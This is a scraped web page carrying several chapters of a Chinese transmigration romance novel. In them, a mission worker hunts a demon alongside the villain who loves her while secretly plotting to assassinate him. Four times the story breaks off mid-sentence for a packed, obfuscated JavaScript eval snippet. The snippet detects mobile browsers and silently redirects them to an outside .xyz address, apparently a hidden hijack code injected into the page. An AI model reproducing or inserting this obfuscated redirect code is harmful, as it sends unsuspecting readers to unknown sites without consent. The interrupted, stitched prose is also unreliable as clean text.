d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976570|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一出手就是杀招,让人毫无防备。不少反派就是被她阴死的,在接下这个攻略任务前,崔若盈的职业生涯可谓是一帆风顺。 月光下,银色的刀锋凝成一条线,尖锐地刺向殷逐白,又险而又险地从他面颊旁划过。 崔若盈眉头紧锁。黑暗中,她看不清那位不速之客的相貌,只知道她扑了个空。 躲开了? 来不及多想,崔若盈先是尖叫了一声,好引起寇言湘等人的注意。 紧接着,她一边凝神注视着那道黑色的影子,一边翻身下床,退到梳妆台前,右手背在身后,朝着梳妆台上摸去。 她记得,那里放了个烛台。 指尖摸索着,终于触碰到一个又沉又硬的圆柱状物体,上面还覆盖着凝固的烛泪。崔若盈心中微定,凝视着站在她对面的黑影。 他也沉默地看着她,似乎没有攻击的打算。 “小盈!你怎么了!!” 脚步声踏破夜色,寇言湘的声音在门外响起,一同响起的,还有急促的敲门声。 对面的黑影似乎愣了一下,崔若盈见状立即抄起烛台,灵力汇聚,点燃了还剩一小截的蜡烛。 烛光刹那间亮起,黯淡火光塞满小小的卧房,不速之客的美丽面庞藏无可藏,霎时暴露在烛火之中。 崔若盈皱眉道:“殷……”话一出口,她终于意识到了什么,飞快闭上了嘴。 是殷逐白。 他像是被强行拖出黑夜的月亮,黯然地缩在天空的一角。薄薄的唇紧抿着,殷逐白用一种混杂着落寞、期待与无措的复杂眼神看着她。 崔若盈这才注意到,原来她刚才那一击并非全部无效。 他的脸被划伤了。血珠从伤口中涌出来,一滴一滴,分外醒目,像是鲜红的烛泪。 “小盈?你没事吧!” 没得到崔若盈的回应,寇言湘开始踹门,薄薄的门板被她踹了两脚,无力地倒在地上,发出一声巨响。 崔若盈下意识回头看了一眼。再转过头时,殷逐白的身影已经像是香炉里的青烟一般,轻轻地消散在空气中了。 “你怎么样?”寇言湘冲到她身边,上上下下打量着她,“有没有受伤?是遇到袭击了吗?是不是那个妖怪?” 寇言湘性子急,恨不得把所有问题都一股脑问出来。崔若盈定了定神,正想回答,又有人赶到她的房门口。 是祝星游。 跟在祝星游身后的,是殷逐白。 “怎么了?”祝星游问道,“我听到这里有声音。” 殷逐白轻轻颔首:“我也听到了。路上正好遇到祝公子,就一起过来了。” 他脸上的血珠已经不见了,衣裳也整整齐齐地穿在身上,不曾有丝毫凌乱。逃出昏暗的烛火,再进到她房间时,他又成了温文尔雅的贵公子。 青年的视线挪到崔若盈身上,用缓慢又温柔的语气询问道:“崔姑娘吓到了吗?” “吓了个半死。” 崔若盈忍不住自嘲道。 她冷静下来,反手将短刀收起来。锋利的银光在烛火中闪烁一瞬,须臾间隐入刀鞘。 寇言湘急道:“所以到底是怎么回事?你没受伤吧?” “没有。”崔若盈摇摇头,深吸一口气,“刚才那只妖怪变成殷家主的样子,闯到我房间里。欲行……欲行不轨。” “欲行不轨”这四个字,她几乎是咬牙切齿说出来的。 48. 崔姑娘怎么知道不是我 虽然这么说,但崔若盈心里很清楚,深夜闯入她房间的根本不是什么妖怪。 那就是殷逐白。 崔若盈心情复杂地摸了摸脖颈。缠绕在她脖子上的东西早已消失,只剩些许触感残存。 她本以为缠住自己脖子的是杀人武器,现在想来,那应该是殷逐白的头发。 乌黑、柔软,像是蜘蛛丝一样的头发。现在它们被高高束在他的发冠中,而在几分钟之前,它们还缠绕在她的脖子上。 “变成了殷家主的样子?” 寇言湘有些惊讶地看了殷逐白一眼,殷逐白坦然对她点了点头,没有一丁点的心虚。 而寇言湘也没怀疑,又看向崔若盈:“他怎么对你欲行不轨了?” 崔若盈:“……” 崔若盈干咳一声:“这个不重要,反正我没受伤,他的脸上还被我划了一刀。” 寇言湘道:“你没事就好。可惜没能抓他个现行。哦对了,你知不知道他为什么袭击你?” 崔若盈想了想:“可能是我们今天调查到了一些东西,让他产生了危机感吧。” “是这样吗?” 寇言湘总觉得有什么不对。 “好了好了,既然他已经逃了,那大家先回去吧。”崔若盈赶紧打断她的思路,免得寇言湘真发现什么不对劲,“今天晚上,他应该不会回来了。” 寇言湘想了想,点点头:“好,那我先回去了,你自己小心。” 说着,她转身离去。祝星游自然而然地跟在她身后,两人的身影渐渐消失在门外。此时还站在房门前的,就只剩殷逐白一人。 “殷家主不回去休息?” “嗯,我这就走。”他的视线在崔若盈身上一扫而过,忽地又顿住脚步,“不过,我还有一件事不明白。崔姑娘可否为我解惑?” 崔若盈只想赶紧把他打发走:“尽管问吧。” “崔姑娘说,那只妖怪变成了我的样子,闯入你的房间,欲行不轨?” “是。” 他看着她,视线如同轻柔的月光。夜莺的啼叫在夜色中响起,星星挂在天上,兀自闪个不停,让他的话语也带了几分意味深长。 “那崔姑娘怎么知道……”青年故意把声音拉得很长,“欲行不轨的是妖怪,而不是我呢?” 说话时,他一双桃花眼紧紧盯着崔若盈的脸,想在她脸上看出些许端倪。 她……究竟是没有发现,还是发现了,却甘愿替“殷逐白”隐瞒? 崔若盈呵呵一笑。 “殷家主说笑了,妖怪是妖怪,你是你。就算他顶着你的脸,卑劣的妖怪和正直的除妖师也不能混为一谈呀。以前我们遇到罗刹鸟的时候,我不是也认出你了吗?” 看来,她真以为那是妖怪。 松了一口气的同时,那股又酸又痒的痛感又如潮汐般爬上心头。 她觉得,他是卑劣的妖怪吗…… 殷逐白压下心中纷乱思绪,温声道:“我明白了。那崔姑娘,我就先走了。” 崔若盈点点头:“慢走。” 她目送着他的金色衣摆消失在视线里。那衣摆在夜风里来回飘动着,像是展翅欲飞的蝴蝶。翅膀扇动,轻盈地飞到深沉的夜晚之中。 崔若盈总算松了一口气。 知道闯进她房间的是殷逐白后,她反而放心了不少。虽然不知道殷逐白到底想干什么,但他至少没有伤害她的意思。 ——只要她继续装成什么也不懂的傻白甜。 回到床上,看看时间,已经是凌晨两点了。想到早上还要出门调查,崔若盈决定继续睡。 后半夜风平浪静,无事发生。一直到天光拂晓,崔若盈起床洗漱过后,便去找殷逐白了。 殷逐白早就穿戴整齐,负手站在廊下,垂眸欣赏着被清晨曦光照亮的花丛。听到有脚步声,他抬眸对崔若盈笑了笑。 “崔姑娘,早啊。” 崔若盈不知道他是醒得早,还是一直没睡。 她抬了抬手:“早上好!我们现在出发吗?” “都听崔姑娘的。” 崔若盈捂着嘴,打了个哈欠,掠过他向前:“好,那我们走吧。” 唯一幸存者名叫吴云淑。按照卷宗记录,她是第三起案件的受害者。 案件经过和其他事件大抵相同,唯一不同的,就是新婚夫妻亲友进门查看时,在新郎的尸体旁,发现了晕倒在地的吴云淑。 “应该就是这里吧?” 崔若盈停在一扇青灰色的大门前。吴云淑家境殷实。那件事后,她就带着两个丫鬟,搬到这条小巷居住,平时很少出门。 殷逐白对她点点头。崔若盈抬手想要叩门,然而还没等动作,门就忽然被拉开,一个年纪很轻,穿着青绿色衣裙的小丫鬟探出半个身子,和她来了个脸对脸。 “哎?”她愣了一下,上上下下打量着崔若盈,“你找人?” 崔若盈道:“我们找吴小姐,请问她在吗?” 因为出了这档子事,吴云淑的夫家迁怒于她,不肯承认她。吴云淑也不在意,只让其他人称呼她为“姑娘”“小姐”。 小丫鬟道:“那可真不巧,我们小姐带着小晴去金鸣寺了。” 没想到会在这里听到熟悉的地名,崔若盈微微睁大眼:“金鸣寺?” “对啊。”小丫鬟让开半个身子,“我家小姐以前就喜欢去金鸣寺。出了那件事后,她去的次数更多,每隔几天就要去一次呢。” “那,那她什么时候回来呢?” 小丫鬟想了想:“小姐每次去都要在金鸣寺待上三四天。她昨日刚走,最快也要明天才能回来吧。” 这也太不巧了。 崔若盈和小丫鬟道了谢,拉着殷逐白走到一边:“殷家主,我们现在该怎么办啊?” 吴云淑可是他们现在唯一能追查下去的线索了。 殷逐白沉吟几息:“崔姑娘若是不嫌麻烦的话,我们去金鸣寺找她,如何?” 去金鸣寺吗? 金鸣寺离安平城也不算远,走两个小时就到了。两人都是除妖师,花费的时间只会更少。 崔若盈思索一下:“好。那我们就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980644|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去金鸣寺看看。” 两人不再耽搁,立刻出了城门,朝着金鸣寺方向赶去。没过多久,金鸣寺残败的轮廓就出现在金灿灿的阳光下。 前天夜里下了一场雨,道路泥泞,还未干透。这条路少有人来,路上没有脚印,只有两道十分显眼的车辙印,应该是吴云淑乘坐的马车留下的。 继续向前走,终于来到了山前。山阶陡峭,只能步行,车辙印也就此消失。 两人沿着山路向前,过了一小会儿,金鸣寺拖着焦黑的残躯,再次出现在崔若盈的面前。 寺门仍旧半敞着。推开门向前,映入眼帘的就是那棵被烧得半焦的树,褪了色的红色丝带挂在树上,随风摇摆。 一名丫鬟打扮的女子站在树下,正踮脚朝树上看,好像在找着什么。察觉到有人过来,她才回过头,迟疑道:“你们是来,上香的?” 崔若盈摇头:“不是,是来找人的。请问吴云淑吴小姐在吗?” 丫鬟“咦”了一声:“你找我们小姐?” 看来,她就是被吴小姐带到金鸣寺的丫鬟小晴了。 崔若盈眼睛一亮:“能否让我们见见吴小姐?我有很重要的事要问她。” 听到她的话,小晴却皱紧眉头,犹豫道:“你们该不会是除妖师吧?” 崔若盈和殷逐白对视一眼。 小晴又道:“那还是请两位回去吧。我们小姐早就把知道的都说了,官府的卷宗上应该有记载。小姐她不想再被打扰了。” 这话不假,卷宗上的确记录了吴云淑的证言。 据吴云淑所说,当日她上花轿时,就有妖怪变成了她的样子,和她一起坐在花轿中。她想叫,却叫不出声,连身体都不受自己控制了。 到了新郎家,丫鬟仆妇好像没看到那只妖怪一样,直接将她扶下花轿。拜堂后,她和妖怪一起被送入洞房,期间没有任何人发现不对。 新郎大叫起来,声音却没能传出去。虚掩着的门突然反锁,房间成了只有两人一妖存在的密室。 只有找出真正的新娘,两个人才能活下来——不知为何,吴云淑心中突然响起了这句话。 而从一死一伤的结果来看,新郎显然没能找对人。至于吴云淑为什么活了下来,也还是个未解之谜。 崔若盈上前拉住小晴的手臂,撒娇道:“这位姐姐,我们真的有很重要的事,你就通融一下嘛。放心,我们绝对不会打扰到吴小姐的!” 崔若盈实在是可爱,即使痴痴纠缠,也不会让人觉得烦。谁忍心拒绝她呢? 大反派殷逐白做不到。而善良单纯的小丫鬟小晴当然也做不到。 小晴心里有些动摇,犹豫了好一会儿,才叹着气,抽出被崔若盈抱住的手。 “我可以帮你们和小姐说说,但是见不见你们,还是小姐说了算。她要是不想见你们,你缠着我也没用。” “明白明白!” 崔若盈回头对殷逐白眨眨眼,殷逐白回以一笑。 小晴则是转身朝着厢房的方向走去,没过一会儿,身影就消失在被熏得黢黑的长廊之间。 49. 她有没有可能杀了他? 看着小晴离开,崔若盈收回视线,无聊地打量着面前的树。 粗糙的树干已经被烧成焦炭状,几根小小的树枝从卷翘的树皮下钻出来,尖端带着点点绿色。 “那个好像是我前天挂上去的哎。” 鲜红的布条夹在其他已经褪了色、甚至被熏黑的布条中,分外显眼。崔若盈上前几步,踮起脚尖朝着更高处看去。 阳光穿过茂盛的树叶,投下细碎的刺眼光芒。一阵风吹来,布条徐徐摇摆,上面的自己也跟着飘摇不定。 崔若盈眯着眼看了一会儿,只隐隐约约看到一个“盈”字缀在布条的最下方。 好像不是她写的。 猝不及防间,一只手轻轻落在她的肩上。崔若盈吓了一跳,忍不住朝后退了一步,却正好撞入一个带着冷香的怀抱之中。 “崔姑娘。”殷逐白扶住她,动作温柔,“我吓到你了吗?” 崔若盈抬头看他。阳光落在他的眼中,将他那对漆黑如夜的眼珠照成蜂蜜一样甜美的棕色,纤长的睫毛鸦羽般垂落,轻轻地随着她的呼吸而颤抖。 他长得可真好看。 崔若盈心中冷不丁冒出这么一个念头来。但她很快挥去不相干的杂念,挣脱他的怀抱。 “没,没,是我太紧张了。” 说着,崔若盈又侧过头,看向刚才那个红布条。殷逐白注意到她的目光,也随之看去,随即露出微笑。 “崔姑娘,那个是我写的。” 崔若盈:“原来是你写的啊。” 那个“盈”字……他是写了她名字吗? 坏了,他该不会写的“希望早点杀了崔若盈”这类的愿望吧? 崔若盈打了个寒战,赶紧把这个恐怖的猜想抛到脑后。 “嗯。这边这个才是你的。”他指了指稍远一点的位置,“你看。” 崔若盈走过去,果然见到“早日回家”四个字正在随风摇摆,只是刚才被树影挡住,她才没注意到。 “殷家主记得好清楚哦。” 殷逐白微笑不语,只是用湿漉漉的眼神看着崔若盈,那目光之中,夹杂了太多难以分辨的情绪。 倏忽之间,风从天边吹来,空中的云也跟着荡漾。树叶相互摩擦,发出“沙沙”的轻响,一条红布忽地从树上飘了下来,即将随着风飞向远方。 崔若盈正好站在树下,看到有东西落下来,眼疾手快伸手一抓,正正好好将那个红布条抓在掌心。 这红布条褪色严重,几乎看不出原本的颜色,甚至还有烟熏过的痕迹。 因为年头太久,上面的字迹都看不清了,只有最下端写的名字,因为是用线绣上去的,所以还能辨认。 崔若盈拿着红布,看了一眼上面的名字。霎时间,一道电光从脑海中飞速划过。 “吴云淑?” 是了。吴云淑特别喜欢来金鸣寺,她在这里许过愿一点儿也不奇怪。 看着布条磨损的程度,应该是出事之前写的。吴小姐许愿的时候,想必也是满心憧憬,完全想不到以后会发生那样的事。 吴云淑也好,李惠夏也好,无论是谁,都无法参透未来。而崔若盈,看似能掌控剧情,实际也是…… 崔若盈随手将布条塞进袖子的口袋里,忽地想到了什么,眉头一皱。 然而不等她深想,小晴的声音就从远处传来,打断了她的思绪。 “我家小姐答应见你们了。” 殷逐白也侧过头,双眸闪烁:“吴小姐答应见我们了?” “嗯,不过你们可不要说太过分的话。” “你放心。”崔若盈拍着胸脯保证道,“我们就随便问问。” 小晴点点头,带着二人朝后面的厢房走去。路上,崔若盈终于想起一件事:“对了,怎么没见了缘师父?” 了缘师父毕竟是这里的住持,虽然这里只剩他一个人了。她和殷逐白进来也没和他打个招呼,怪不礼貌的。 “你们没看到了缘师父吗?”小晴也有些惊讶,“他刚刚还在呢,可能是临时出去了吧。” 崔若盈“哦”了一声,没太在意。反正也不是很重要的事。 跟着小晴来到一个房间。屋子里打扫得十分干净,带有禅意的宁静熏香味道在阳光下弥漫。一名打扮素净的女子坐在一旁,低声念着佛经。 “小姐。”小晴走到她身边,轻声唤道,“他们来了。” 吴云淑抬起头。她年纪很轻,外表看上去比崔若盈大不了多少,脸上却只有看破红尘的平和。 “请坐吧。” 她冲着崔若盈的方向轻轻颔首,眼睛却紧紧闭着。不是因为吴云淑轻视两人,而是因为在一年多以前的变故中,她的眼睛被那只妖怪啄瞎了。 吴云淑道:“两位是除妖师?找我有什么事吗?” 崔若盈坐在一边,将李家昨天出的事叙述了一遍,又道:“李小姐现在很危险,所以我们希望尽快抓住那只妖怪。” 吴云淑捻着佛珠的手停顿了一瞬:“原来是这样。不过我知道的都告诉官府的人了,你们就算问,也问不出什么。” 崔若盈道:“我们只想确认一下。” “可以。”吴云淑点点头,“两位尽管问吧。” 两人对视一眼,崔若盈先开口问了几个问题,吴云淑都对答如流,和卷宗中记录的大差不差。 “所以说,他没能找出真正的你?” “没有。” “之后,那只妖怪袭击了张公子?” 张公子——就是惨死的新郎。 吴云淑道:“没错。” 崔若盈追问:“那只妖怪是怎么攻击他的?有没有现原形?” 吴云淑道:“当时我被妖怪定住,一动也不能动,头上还盖着盖头,只听到他发出一声……惨叫。” 她停顿了一下。 “然后我就吓晕过去了。再醒来的时候,已经……”吴云淑抬起手,摸了摸自己的眼睛,“那只妖怪是如何袭击我的、我又为何保住一条性命,我一概不知。” 崔若盈不死心:“你真的什么也不知道?要不再仔细想想?” “崔姑娘,我要是知道,肯定会告诉你们的。”吴云淑放下手,重新捻动佛珠,“那只妖怪也是我的仇人,我有什么理由隐瞒呢?” 崔若盈想了想,觉得她说得也对。 之前来的几波除妖师也不是废物,自然会仔细调查的,吴云淑也没必要隐瞒。 打听不出有用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986448|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息,两人也没必要再在这里逗留。 “这次谢谢你了,吴小姐。”崔若盈起身告辞,“我们先走了。” 吴云淑点头:“我身有不便,就不远送了。小晴,替我送送客人。” 小晴脆生生地应了一声,引着崔若盈向前走。 崔若盈迈出门槛,没走几步,袖子里却突然飘出一个东西。小晴定睛一看,原来是一个红布条。 “哎?这不是小姐要找的那个吗?”小晴弯腰把东西捡起来,看了一眼,“怎么在崔姑娘这里?” 崔若盈看了一眼:“哦,这是我刚才在院子里捡到的。” 这样一想,刚才小晴的确在找什么东西,想来就是这个红布条了。 “你们小姐找这个干什么?” 小晴道:“这是小姐以前和姑爷一起来的时候系上的,你看,上面还写着‘永结同心’。” 她想给崔若盈看一看,却忽然发现上面的墨迹早就在风吹雨打中褪去,只能尴尬地笑了笑。 “当时姑爷也写了。不过他那个可能被风吹走了吧,怎么也找不到了。” 崔若盈道:“看来那场大火之前,金鸣寺很热闹。” 小晴道:“是啊!不仅是没有婚配的男女,连定了亲的也会来这里上香呢。可惜现在金鸣寺败落,安平城又有妖怪,都没人敢成婚了。” “那还真可惜。” 崔若盈随口应了一声,脑海中却浮现出金鸣寺失火案的卷宗。 据说,有一名男子曾在金鸣寺求姻缘,结果亲事很不如意,他就生出了报复的想法,于是趁夜色来到金鸣寺附近放火,烧死了不少僧人。 犯人后来被问斩,金鸣寺则渐渐荒废了。 三人来到那棵姻缘树下,崔若盈回头对小晴道,“好了,就送到这里吧,小晴姑娘。等了缘师父回来,请帮我们向他问好。” 小晴点头:“我会的,两位慢走。” 出了金鸣寺,崔若盈的肩膀立刻塌了下来,脸上更是愁云密布。殷逐白道:“崔姑娘不开心?” 崔若盈郁闷道:“什么都没打听到,当然不开心了。” 虽然早有心理准备,只是费了这么大力气,结果只得到了一些早就知道的消息,想想还真是不甘心。 “这不是你的错,我知道崔姑娘也尽力了。”殷逐白握住她的手,温言细语地安抚道。 他的手很凉,却相当有力量。崔若盈的手被他握在掌中。她能触碰到他突出的腕骨,以及埋在薄薄皮肤下、不断跳动的脉搏。 崔若盈忍不住抬头看了他一眼。青年微微低着头,明亮的眼眸像是深不见底的黑色潭水,原原本本地映出她的面容。 他正用有些湿漉漉的眼神,专注地望着她。 崔若盈一时间有些失神。 她没想到,殷逐白会察觉出她的郁闷,还特地安慰她。 要不怎么说他是反派呢。好感都负了,表情还能这么含情脉脉,看上去好像对她全无防备的样子。这份功力值得肯定。 这样出神地想着。 忽然之间,一个不相干的冷酷念头,就这样突兀地占据了崔若盈的脑海。 ——她有没有可能,利用反派的这份信任,杀了他? 50. 她的眼中未曾有过他 这个念头刚一出现在脑海中,崔若盈的手臂上就起了一层细细密密的鸡皮疙瘩,浑身忍不住跟着战栗起来。 杀了殷逐白,那该有多少能量啊? 崔若盈一边想着,一边跟在殷逐白身后下了山。树影映在她的脸上,让她的皮肤散发出珍珠般的微光。 其实,在做任务的这么多年里,崔若盈也不是没接过抹杀反派的任务。 只不过,那些任务大多是“多人联合任务”。也就是说,她需要和人联手完成任务,要么是小世界男女主,要么是与她级别相当的任务者。 这种任务评级一般是A级,任务完成后奖励的能量也需要按贡献值分配。同样地,风险也被分摊了。 而单人抹杀反派的任务,则多为S级。 崔若盈还没有独自一人做过这种任务。 殷逐白那么强,又很狡猾……临时变更任务,是不是有点太冒险了? 想到这里,崔若盈抬眼看了看走在前面的人。 这段山路狭窄,两人只能一前一后下山。殷逐白走在她的前面,时而为她拂去山路旁纷乱树枝、尖锐荆棘,以免树枝刮到她的衣裙。 倒是他自己,衣服上精致脆弱的刺绣已经被树枝刮花了,连手臂也被划出了几道苍白的痕迹。 原来,殷逐白也不是那么坚不可摧。 日光从树叶间的缝隙照在他的手臂上,苍白的伤痕散发出灿灿的光辉。崔若盈只看了一眼,就感觉眼睛被这光芒刺痛了,慌忙地收回目光。 倒是殷逐白,察觉到了她那一瞬间的异样,回头道:“怎么了?” 崔若盈道:“没……” 顿了顿,又觉着这样很欲盖弥彰,于是又转移话题道:“我刚刚看到殷家主在树上挂了我的名字?你许的愿望难道和我有关?” 殷逐白笑了笑,低沉悦耳的笑声从前方飞过来:“崔姑娘不妨猜一猜?” 崔若盈开玩笑道:“我知道了,你一定许愿,想让崔若盈这个烦人精离你远点,对不对?” 殷逐白沉默了一下:“崔姑娘,我并未这么想。” 实际上,连他自己,都不知道自己是怎么想的。 对他而言,崔若盈是什么样的存在呢? 殷逐白总是回避这个问题。比起自己的想法,他更在意的是,对崔若盈而言,他又意味着什么? 不是那个镜花水月般美丽缥缈的殷逐白,而是他……被她当成卑劣妖怪的他。 就像是湖水。他是波光粼粼的湖面,而他是浑浊的、混沌的湖底。崔若盈只爱清澈美丽的湖面——也只看得到湖面。 她的眼中未曾有过他。 所以,考虑自己对她的意义,似乎有些自取其辱了。 殷逐白笑了一下。可惜他背对着崔若盈,崔若盈看不到他脸上的苦涩。 “哎呀,我当然知道啦。”崔若盈上前一步,抱住他一只手臂,“你好严肃哦。” 指尖触碰着袖子上繁复的花纹,他的衣袖凉凉滑滑的,散发着昂贵的香气。崔若盈像是抱着一个死物一样,轻轻抓住他的手臂,侧头去打量殷逐白的神色。 他没有抗拒她的接近。 崔若盈低头,若有所思。 看来,反派是真的很信任她啊,称得上毫无防备了。 也就是说,她想刺杀他,也没有想象中的那么难。 昨夜,她不就成功伤到他了吗? 不过嘛,这件事也不能太着急。毕竟要是刺杀失败,或是提前被他察觉到端倪,那她就死定了。 一定要小心计划。 崔若盈垂下眼帘,掩住重重心事。 两人下了山,回到李家。寇言湘一看崔若盈蔫哒哒的表情,就知道她没有收获,于是安慰道:“别丧气,我们再想办法就是。” 崔若盈点点头:“今天他有没有来袭击李小姐?” “没有,什么也没有。” 寇言湘坐在桌子旁,给崔若盈倒了一杯茶,思索两秒,才道:“我觉得这样也不是个办法。” 崔若盈接过茶看着她。 “我们还要去平幽,不能在李家待上太久。”寇言湘低声道,“如果不尽快抓住他,等我们一走,他说不定又会伤害李小姐了。” 崔若盈道:“你这么说,是想好怎么把他引出来了?” “嗯,只是不确定有没有用。”寇言湘顿了一下,“既然那妖怪喜欢袭击新婚夫妻……你觉得,我们搞个假成亲怎么样?” 崔若盈握着茶杯的手动了动:“假成亲引蛇出洞?是不是有点危险了?” 寇言湘叹气:“主要是也没有其他的办法了。这件事我今天和李老爷商量过,他和刘家都愿意提供假成亲需要的场地和花费。” 对安平城的富商们来说,这笔钱不过是九牛一毛罢了。 说着,寇言湘看了崔若盈一眼。 “这次就由我和祝星游假扮新人,你与殷家主藏好,等妖怪出现,我们就联手拿下他。” 崔若盈听她已经有了周详的计划,就知道寇言湘心意已决。不过她的确没有更好的方案,就只能点点头:“计划什么时候开始?” “明天。” 这时间选得太仓促,只是四人没时间在安平城停留太久,也只能先这样了。 成亲要用的嫁衣已经送了过来,李天福和刘家各出了一处旧宅,作为迎亲送亲的地点,两家下人已经加班加点装饰旧宅,想让旧宅中增添几分喜气。 很快,又有人要成亲的消息传遍了安平城,引得百姓津津乐道。 “不是吧,前几天刚闹过那么一出,居然还有人成亲。” “真是不要命了。” “这你们就不懂了吧?我看现在成亲才聪明呢。” “怎么说?” “你没听说,安平城来了几个厉害的除妖师吗?李小姐就是被他们救下来的。有他们在,那只妖怪都不敢露面,现在才是最太平的时候呢!” “说得有道理啊!” 崔若盈一脚踢开街边一颗小石子,叹气道:“你觉得这件事能成吗?” 殷逐白走在他身边,闻言蹙起眉:“崔姑娘何必过分忧虑?谋事在人成事在天,我们也只能试一试。” 谋事在人,成事在天。明明他说的是引蛇出洞计划,崔若盈的思绪却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996041|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不受控制地飘到了另一件事上。 殷逐白又道:“还是说,你担心寇姑娘?” 崔若盈随口道:“我当然担心了。” 不过仔细想想,就算刨除主角身份,寇言湘的实力也是数一数二的,实在轮不着她这个小菜鸡担心。 正想着,崔若盈突然觉得一道目光落在自己的脸上。那目光黏糊糊的,像是被太阳晒化了的冰淇淋,甜蜜中带着几分恶意。 崔若盈侧头,果然见到殷逐白正在目不转睛地看着她——会这样看着她的,也只有他了。 “你看我干什么?”崔若盈有些不自在。还有点心虚。 殷逐白道:“你和寇姑娘感情那么好,我真羡慕她。” “但我和你关系也,不错?” 如果不看好感度面板,光看表现的话,确实不错。 殷逐白微笑道:“是。” 他的笑容总是那样宽容而温和。 崔若盈眼珠动了动。她凑近他的身体,轻轻拉住他的袖子,轻声细语道:“难道……难道说,殷家主吃醋了吗?” 说话时,她脸上流露出恰到好处的调侃神色,嘴角也微微上扬,面露期待地等着他的答案。 要是动手的话,这个距离还算不错。 崔若盈的视线似乎不经意地扫过两人之间,暗自估算着殷逐白躲开的可能,结果却不是很理想。 他与她之间的距离很近,手臂几乎贴在一起。崔若盈能嗅到他身上传来的阵阵暗香,也能感受到他蛇一般的冰冷体温 但还不够。 两人现在并肩而行,这个姿势不利于刺杀,大概率会被殷逐白躲开。如果能面对面的话…… 崔若盈心中微动。 不过这段时间,她对殷逐白一直很疏离,如果贸然与他亲密接触,说不定会引起他的警惕。 所以这几天,她会尽量与殷逐白亲密一些,最好表现得对他心生爱慕一样,好让他完全放松戒备。 只能说不愧是时空委托公司的A级员工,崔若盈专业素养还是有的。念头一起,她不需要任何酝酿,下一秒就入戏了。 崔若盈抬眼看着他,一双灵动的眼亮晶晶的,像是盛满了星光。星河烂漫,映出他金色的倒影,连她的脸颊,也适时爬上春花般漂亮的淡红。 “是不是?”她追问道。 殷逐白侧眸看着她,只觉得天地颠倒、万籁俱寂。所有的声音都消失不见,站在这片青空下的,只有他和她。 她等着他的答案。而他费尽力气,怎么也说不出来一句“不是”。 过了好一会儿,他才说道:“是。” 说出这个字的时候,他心中好像一轻,像是长了翅膀,轻飘飘地飞起来。但没飞多久,漂亮的翅膀又好像灌了铅一般,不断下沉、下沉,直至摔到谷底。 如果殷逐白喜欢崔若盈,而崔若盈也喜欢殷逐白,那藏在湖底的妖鬼,就永远失去了在这段佳话中出场的机会。 不要这样……不能这样…… 可是,他好像已经失去了对身体的控制,任由自己颤抖着睫毛,轻轻地重复了一遍。 “是。” 51. 盈盈 信你个鬼。 崔若盈忍不住在心里冷笑一声,脸上却绽放出灿烂的笑容。 “殷家主可真会说话。”她对他眨了眨眼,“其实,如果明天成亲的是殷家主,我也会同样担心的。” 当然,她担心的不是殷逐白,而是敢和反派成亲的那位。 殷逐白垂眸道:“我?我不会和别人成亲的。” 崔若盈道:“假成亲而已。” 殷逐白却看着她,眼中多了几分倔强:“假的也不行。” 他只要崔若盈——也只有崔若盈。 崔若盈早就料到反派的偏执,因此也不在意:“好啦好啦,我知道殷家主不喜欢和人接触,对不对?” 说到这里,她才意识到自己还搂着殷逐白的手臂,连忙干咳一声,把手放开,同时又不着痕迹地转移了话题。 “天黑了,我们先去找寇姐姐吧。” 寇言湘现在不在李宅,而是在李天福准备的旧宅里“备嫁”,祝星游则是在另一处宅子中。 崔若盈和殷逐白,刚去祝星游那边踩过点,也特别熟悉了一下明天迎亲要走的路,以免明天再被那妖怪跑了。 回到寇言湘那边时,天已经黑了。宅子里亮起灯光,寇言湘还在预习明天的婚礼流程。 虽然说只是假成亲,但要是太过敷衍,也容易露出破绽,可怜寇言湘也只能一遍一遍熟悉婚礼烦琐的礼节,被折磨得几乎抓狂。 见崔若盈回来,寇言湘连忙一把抓住她:“小盈啊,你总算回来了。祝星游那边怎么样了?” 崔若盈道:“也在练习呢。” 寇言湘又是一阵唉声叹气。她从小在宗门里长大,打打杀杀很在行,但碰到这种烦琐的礼仪就不行了。 “没想到,成亲居然这么麻烦。” 崔若盈自顾自坐到一边,听到她的话,忍不住幸灾乐祸:“我还以为你什么都不嫌烦呢。” 